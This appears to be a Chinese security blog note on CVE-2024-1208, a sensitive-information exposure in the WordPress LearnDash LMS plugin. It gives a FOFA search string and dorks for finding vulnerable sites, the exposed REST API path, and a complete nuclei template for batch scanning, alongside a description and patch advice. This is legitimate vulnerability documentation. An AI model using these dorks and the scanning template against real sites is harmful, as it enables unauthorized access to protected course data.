CVE-2024-1208

CVE-2024-1208

原创 fgz AI与网安 2024-03-26 00:01





本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

01

漏洞名称

WordPress Plugin LearnDash LMS 敏感信息暴漏

02

漏洞影响

WordPress Plugin LearnDash LMS <= 4.10.2

CVE-2024-1208 -1

03

漏洞描述

WordPress和WordPress plugin都是WordPress基金会的产品。
WordPress是一套使用PHP语言开发的博客平台。
该平台支持在PHP和MySQL的服务器上架设个人博客网站。
WordPress plugin是一个应用插件。

WordPress Plugin LearnDash LMS 4.10.2及之前版本存在安全漏洞,该漏洞源于容易通过API暴露敏感信息,未经身份验证的攻击者可以访问测验问题。

04

FOFA搜索语句

"/wp-content/plugins/sfwd-lms"

05

漏洞复现

漏洞路径如下

/wp-json/wp/v2/sfwd-question

使用浏览器访问

CVE-2024-1208 -2

漏洞复现成功

06

批量漏洞扫描 poc

nuclei 已发布poc,文件内容如下

id: CVE-2024-1208

info:
  name: LearnDash LMS < 4.10.3 - Sensitive Information Exposure
  author: ritikchaddha
  severity: medium
  description: |
    The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.2 via API. This makes it possible for unauthenticated attackers to obtain access to quiz questions.
  remediation: Fixed in 4.10.3
  reference:
    - https://github.com/karlemilnikka/CVE-2024-1208-and-CVE-2024-1210
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1208
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/ae735117-e68b-448e-ad41-258d1be3aebc?source=cve
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-1208
    epss-score: 0.01024
    epss-percentile: 0.83462
    cpe: cpe:2.3:a:learndash:learndash:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: learndash
    product: learndash
    framework: wordpress
    publicwww-query: "/wp-content/plugins/sfwd-lms"
    googledork-query: inurl:"/wp-content/plugins/sfwd-lms"
  tags: cve,cve2024,wp,wp-plugin,wordpress,exposure,learndash

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sfwd-question"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"question_type":'
          - '"points_total":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a0046304402203916aaf1a8ee1aac0dd4cf38919e9f2e19085f8ccbbed45a47c932c1b491fb1302207bed484d250b4815723b4f03051d6f9f02504d362be0b2f60b4c99d8e8ff2ed3:922c64590222798bb761d5b6d8e72950

07

修复建议

升级到最新版本。